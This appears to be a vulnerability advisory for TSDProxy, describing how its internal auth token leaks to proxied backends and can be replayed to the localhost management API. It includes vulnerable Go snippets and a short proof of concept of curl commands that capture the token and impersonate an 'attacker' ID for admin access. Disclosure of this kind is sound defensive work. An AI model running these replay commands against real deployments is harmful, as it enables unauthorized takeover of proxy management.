TSDProxy: Internal proxy auth token forwarded to backend services enables management API escalation

Description

A vulnerability was discovered in TSDProxy where it forwards its internal per-process authentication token to all proxied backend services. When identityHeaders is enabled (the default), tsdproxy injects x-tsdproxy-auth-token into every upstream HTTP request alongside user identity headers. This token is the same secret used by the management HTTP server to trust forwarded Tailscale identity claims. A backend that receives this token can replay it from localhost to the management port with an arbitrary x-tsdproxy-id value, bypassing Tailscale authentication entirely.

The token is forwarded unconditionally: ProviderUserMiddleware always calls WhoisNewContext regardless of whether the user is authenticated. In the ReverseProxy.Rewrite function, WhoisFromContext returns ok=true even for zero-value Whois{} (unauthenticated or Funnel requests). The HeaderAuthToken is set for every request when identityHeaders=true.

The attack requires the backend to reach 127.0.0.1:8080. This holds in: (1) non-Docker deployments where tsdproxy and a backend run on the same host, (2) Docker host-network-mode containers, (3) containers sharing tsdproxy's network namespace.

Affected files

• internal/proxymanager/port.go:123-132
• internal/core/admin.go:160-182

// port.go: auth token forwarded regardless of user authentication state
if identityHeaders {
    if user, ok := model.WhoisFromContext(r.In.Context()); ok {
        // ok=true even for empty Whois{} stored by ProviderUserMiddleware
        r.Out.Header.Set(consts.HeaderAuthToken, core.ProxyAuthToken()) // token sent to backend
    }
}

// admin.go: management port trusts x-tsdproxy-id from localhost when token is valid
func ResolveWhois(r *http.Request) model.Whois {
    if IsLocalhost(r.RemoteAddr) {
        return model.Whois{
            ID: r.Header.Get(consts.HeaderID), // attacker-controlled after stealing token
        }
    }
    return model.Whois{}
}

Steps to reproduce

1. Deploy tsdproxy on a host (non-Docker) with a backend at http://localhost:3000.
2. Make a request through the Tailscale proxy. The backend receives x-tsdproxy-auth-token in the request headers.
3. From the host, replay the token to the management API:

# Capture token from backend headers (e.g., via a header-reflection endpoint)
TOKEN=$(curl -s http://localhost:3000/debug/headers | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['headers'].get('X-Tsdproxy-Auth-Token',''))")

# Replay from localhost to gain admin access
curl -H "x-tsdproxy-auth-token: $TOKEN" \
     -H "x-tsdproxy-id: attacker" \
     http://127.0.0.1:8080/api/v1/proxies
# Returns full proxy list with admin access